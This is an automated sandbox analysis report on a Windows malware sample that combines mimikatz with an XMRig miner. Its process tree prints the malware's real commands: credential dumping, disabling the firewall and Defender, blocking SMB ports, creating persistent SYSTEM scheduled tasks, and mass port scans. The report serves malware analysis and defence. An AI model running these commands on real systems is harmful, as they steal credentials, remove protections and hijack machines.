Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/09/2024, 04:15

General

  • Target
    2024-09-17_c571f2f7ea4ddb5c1a479b3862c63218_hacktools_icedid_mimikatz.exe
  • Size 8.4MB
  • Sample240917-eva5javaln
  • SHA256 f309785dce13b2d2829d4d1c21654a1ee5dc1dff2c6533d53ebc0824b2ef33f6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (20028) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 10 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 6 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 27 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 34 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 43 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:1424
      • C:\Windows\TEMP\enrneinug\rbieit.exe
        "C:\Windows\TEMP\enrneinug\rbieit.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2168
    • C:\Users\Admin\AppData\Local\Temp\2024-09-17_c571f2f7ea4ddb5c1a479b3862c63218_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-09-17_c571f2f7ea4ddb5c1a479b3862c63218_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3144
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\sfnfqltt\msilvbn.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:380
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4568
        • C:\Windows\sfnfqltt\msilvbn.exe
          C:\Windows\sfnfqltt\msilvbn.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1256
    • C:\Windows\sfnfqltt\msilvbn.exe
      C:\Windows\sfnfqltt\msilvbn.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4236
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4148
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:2204
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D users
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4264
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
              PID:3560
            • C:\Windows\SysWOW64\cacls.exe
              cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
              3⤵
              • System Location Discovery: System Language Discovery
              PID:4644
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:4768
            • C:\Windows\SysWOW64\cacls.exe
              cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
              3⤵
                PID:1896
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static del all
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:4004
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add policy name=Bastards description=FuckingBastards
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              PID:1536
            • C:\Windows\SysWOW64\netsh.exe
              netsh ipsec static add filteraction name=BastardsList action=block
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:4720
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Windows\vnlrvudky\nntlzkwtt\wpcap.exe /S
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1064
              • C:\Windows\vnlrvudky\nntlzkwtt\wpcap.exe
                C:\Windows\vnlrvudky\nntlzkwtt\wpcap.exe /S
                3⤵
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in System32 directory
                • Drops file in Program Files directory
                • Suspicious use of WriteProcessMemory
                PID:2412
                • C:\Windows\SysWOW64\net.exe
                  net stop "Boundary Meter"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1008
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "Boundary Meter"
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:1736
                • C:\Windows\SysWOW64\net.exe
                  net stop "TrueSight Meter"
                  4⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4080
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "TrueSight Meter"
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:1556
                • C:\Windows\SysWOW64\net.exe
                  net stop npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:384
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop npf
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:4976
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:3816
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:3680
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2804
              • C:\Windows\SysWOW64\net.exe
                net start npf
                3⤵
                • System Location Discovery: System Language Discovery
                PID:4472
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  4⤵
                    PID:1016
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c net start npf
                2⤵
                • System Location Discovery: System Language Discovery
                PID:1724
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:5000
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    4⤵
                      PID:3824
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c C:\Windows\vnlrvudky\nntlzkwtt\lnuinqfyt.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\vnlrvudky\nntlzkwtt\Scant.txt
                  2⤵
                    PID:4568
                    • C:\Windows\vnlrvudky\nntlzkwtt\lnuinqfyt.exe
                      C:\Windows\vnlrvudky\nntlzkwtt\lnuinqfyt.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\vnlrvudky\nntlzkwtt\Scant.txt
                      3⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • System Location Discovery: System Language Discovery
                      PID:3784
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c C:\Windows\vnlrvudky\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\vnlrvudky\Corporate\log.txt
                    2⤵
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:3472
                    • C:\Windows\vnlrvudky\Corporate\vfshost.exe
                      C:\Windows\vnlrvudky\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2464
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "znnevyvec" /ru system /tr "cmd /c C:\Windows\ime\msilvbn.exe"
                    2⤵
                      PID:4588
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:1068
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /sc minute /mo 1 /tn "znnevyvec" /ru system /tr "cmd /c C:\Windows\ime\msilvbn.exe"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:4376
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "seezsglzw" /ru system /tr "cmd /c echo Y|cacls C:\Windows\sfnfqltt\msilvbn.exe /p everyone:F"
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:732
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                        3⤵
                          PID:1948
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /sc minute /mo 1 /tn "seezsglzw" /ru system /tr "cmd /c echo Y|cacls C:\Windows\sfnfqltt\msilvbn.exe /p everyone:F"
                          3⤵
                          • System Location Discovery: System Language Discovery
                          • Scheduled Task/Job: Scheduled Task
                          PID:5116
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "vsnbigtec" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\enrneinug\rbieit.exe /p everyone:F"
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:2488
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                          3⤵
                            PID:1072
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /sc minute /mo 1 /tn "vsnbigtec" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\enrneinug\rbieit.exe /p everyone:F"
                            3⤵
                            • System Location Discovery: System Language Discovery
                            • Scheduled Task/Job: Scheduled Task
                            PID:3008
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:660
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:2732
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:3656
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static set policy name=Bastards assign=y
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:412
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:2964
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:2108
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:4144
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static set policy name=Bastards assign=y
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:2880
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:4976
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:2416
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:3684
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static set policy name=Bastards assign=y
                          2⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:1336
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop SharedAccess
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:804
                          • C:\Windows\SysWOW64\net.exe
                            net stop SharedAccess
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:2940
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop SharedAccess
                              4⤵
                                PID:3484
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c netsh firewall set opmode mode=disable
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:1376
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh firewall set opmode mode=disable
                              3⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:3824
                          • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                            C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 772 C:\Windows\TEMP\vnlrvudky\772.dmp
                            2⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4632
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c netsh Advfirewall set allprofiles state off
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:2196
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh Advfirewall set allprofiles state off
                              3⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              • System Location Discovery: System Language Discovery
                              PID:3784
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net stop MpsSvc
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:3560
                            • C:\Windows\SysWOW64\net.exe
                              net stop MpsSvc
                              3⤵
                                PID:2376
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop MpsSvc
                                  4⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3296
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c net stop WinDefend
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:4724
                              • C:\Windows\SysWOW64\net.exe
                                net stop WinDefend
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:4788
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop WinDefend
                                  4⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2672
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c net stop wuauserv
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:1548
                              • C:\Windows\SysWOW64\net.exe
                                net stop wuauserv
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:1276
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop wuauserv
                                  4⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4728
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config MpsSvc start= disabled
                              2⤵
                                PID:4220
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config MpsSvc start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  PID:4000
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config SharedAccess start= disabled
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:560
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config SharedAccess start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  PID:1816
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config WinDefend start= disabled
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:4556
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config WinDefend start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  PID:3008
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config wuauserv start= disabled
                                2⤵
                                  PID:4744
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config wuauserv start= disabled
                                    3⤵
                                    • Launches sc.exe
                                    PID:2476
                                • C:\Windows\TEMP\xohudmc.exe
                                  C:\Windows\TEMP\xohudmc.exe
                                  2⤵
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:3776
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 64 C:\Windows\TEMP\vnlrvudky\64.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3720
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 1424 C:\Windows\TEMP\vnlrvudky\1424.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1392
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 2600 C:\Windows\TEMP\vnlrvudky\2600.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3896
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 2748 C:\Windows\TEMP\vnlrvudky\2748.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3352
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 2828 C:\Windows\TEMP\vnlrvudky\2828.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4976
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 3100 C:\Windows\TEMP\vnlrvudky\3100.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3040
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 3936 C:\Windows\TEMP\vnlrvudky\3936.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2728
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 4032 C:\Windows\TEMP\vnlrvudky\4032.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5000
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 4092 C:\Windows\TEMP\vnlrvudky\4092.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3144
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 3140 C:\Windows\TEMP\vnlrvudky\3140.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2084
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 2356 C:\Windows\TEMP\vnlrvudky\2356.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2224
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 4184 C:\Windows\TEMP\vnlrvudky\4184.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2252
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 3648 C:\Windows\TEMP\vnlrvudky\3648.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4932
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 3924 C:\Windows\TEMP\vnlrvudky\3924.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3096
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 1772 C:\Windows\TEMP\vnlrvudky\1772.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4492
                                • C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe
                                  C:\Windows\TEMP\vnlrvudky\mfynznrfu.exe -accepteula -mp 828 C:\Windows\TEMP\vnlrvudky\828.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2532
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c C:\Windows\vnlrvudky\nntlzkwtt\scan.bat
                                  2⤵
                                    PID:1628
                                    • C:\Windows\vnlrvudky\nntlzkwtt\zrlustuaz.exe
                                      zrlustuaz.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
                                      3⤵
                                      • Executes dropped EXE
                                      • Drops file in Windows directory
                                      • System Location Discovery: System Language Discovery
                                      PID:4904
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                    2⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:5628
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:5368
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:5792
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      3⤵
                                        PID:3864
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:5508
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4460
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:5780
                                  • C:\Windows\SysWOW64\ogmqci.exe
                                    C:\Windows\SysWOW64\ogmqci.exe
                                    1⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4004
                                  • C:\Windows\system32\cmd.EXE
                                    C:\Windows\system32\cmd.EXE /c C:\Windows\ime\msilvbn.exe
                                    1⤵
                                      PID:2964
                                      • C:\Windows\ime\msilvbn.exe
                                        C:\Windows\ime\msilvbn.exe
                                        2⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:2736
                                    • C:\Windows\system32\cmd.EXE
                                      C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\enrneinug\rbieit.exe /p everyone:F
                                      1⤵
                                        PID:4128
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                          2⤵
                                            PID:4144
                                          • C:\Windows\system32\cacls.exe
                                            cacls C:\Windows\TEMP\enrneinug\rbieit.exe /p everyone:F
                                            2⤵
                                              PID:2624
                                          • C:\Windows\system32\cmd.EXE
                                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\sfnfqltt\msilvbn.exe /p everyone:F
                                            1⤵
                                              PID:4080
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                2⤵
                                                  PID:1656
                                                • C:\Windows\system32\cacls.exe
                                                  cacls C:\Windows\sfnfqltt\msilvbn.exe /p everyone:F
                                                  2⤵
                                                    PID:3012

                                                Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

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                                                      Downloads

                                                      Packet.dll

                                                      • Path C:\Windows\SysWOW64\Packet.dll
                                                      • Size 95KB
                                                      • SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
